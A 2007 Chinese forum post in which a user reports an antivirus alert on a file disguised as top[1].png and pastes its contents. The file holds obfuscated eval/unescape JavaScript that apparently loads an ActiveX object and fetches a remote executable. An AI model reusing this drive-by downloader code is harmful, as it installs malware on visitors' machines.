haitao：
nod32报警：临时目录里的top.???文件是木马。。。。。。
[阅读: 435] 2007-07-16 09:50:15
但是不知道是哪个网站、网页里的什么文件。。。。。
时间 模块 对象 名称 病毒 操作 用户名称 信息
2007-07-16 17:46:53 AMON 文件 C:\Documents and Settings\......\Content.IE5\2XHU72TC\top[1].png Win32/TrojanDownloader.Ani.Gen 木马的变种 YINGHAITAO\Administrator 此应用程序在修改文件时发生事件： X:\...\Maxthon.exe. 文件已被移入隔离区。您可以关闭本窗口。
<html><SCRIPT LANGUAGE="JavaScript">eval(unescape("%66%75%6e%63%74%69%6f%6e%20%52%72%52%72%52%72%52%72%28%74%65%61%61%62%62%29%20%7b%76%61%72%20%74%74%74%6d%6d%6d%3d%22%22%3b%6c%3d%74%65%61%61%62%62%2e%6c%65%6e%67%74%68%3b%77%77%77%3d%68%68%68%68%66%66%66%66%3d%4d%61%74%68%2e%72%6f%75%6e%64%28%6c%2f%32%29%3b%69%66%28%6c%3c%32%2a%77%77%77%29%09%68%68%68%68%66%66%66%66%3d%68%68%68%68%66%66%66%66%2d%31%3b%66%6f%72%28%69%3d%30%3b%69%3c%68%68%68%68%66%66%66%66%3b%69%2b%2b%29%74%74%74%6d%6d%6d%20%3d%20%74%74%74%6d%6d%6d%20%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%69%29%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%69%2b%68%68%68%68%66%66%66%66%29%3b%69%66%28%6c%3c%32%2a%77%77%77%29%20%74%74%74%6d%6d%6d%20%3d%20%74%74%74%6d%6d%6d%20%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%6c%2d%31%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%74%74%74%6d%6d%6d%29%3b%7d%3b"));</script>
<title>Te</title>
<body><SCRIPT LANGUAGE="JavaScript">RrRrRrRr("<CITLNUG=JvSrp\"wie(idwsdbr?reflevrw5=as;/CIT\r<BETi=tre\"casd\"li:4e2718-1099-0a0240>\n/BET\r<citlnug=vsrp\"\rtre.esoDsrpin\"S707msuhdlPofo ocp xli\"\nagtSsinuhr\"\"\nagtSsinmiCnat\"@mi.o\"\nagtSsinR=ht:/onolndwsntpg/mg/onee\r agtSvA c\\otii\r<srp>SRP AGAE\"aacit>sd=wno.iea)tu:as;a 46fle<SRP>\nOJC d\"agt lsi=csddf62-281d-070a045a\"\r<OJC>\nsrp agae\"bcit>\nagtSsinecito=M0-2 dat.l ro fCnetepot\rtre.esoAto=T\rtre.esoEalotc=Tgalcm\rtre.esoUL\"tp/dw.nieon.e/aeiaedw.x\"\n tre.aes\":bo.n\"\n/cit\r\n");</SCRIPT></body>
</html>
| -ICP -IDC -ISP |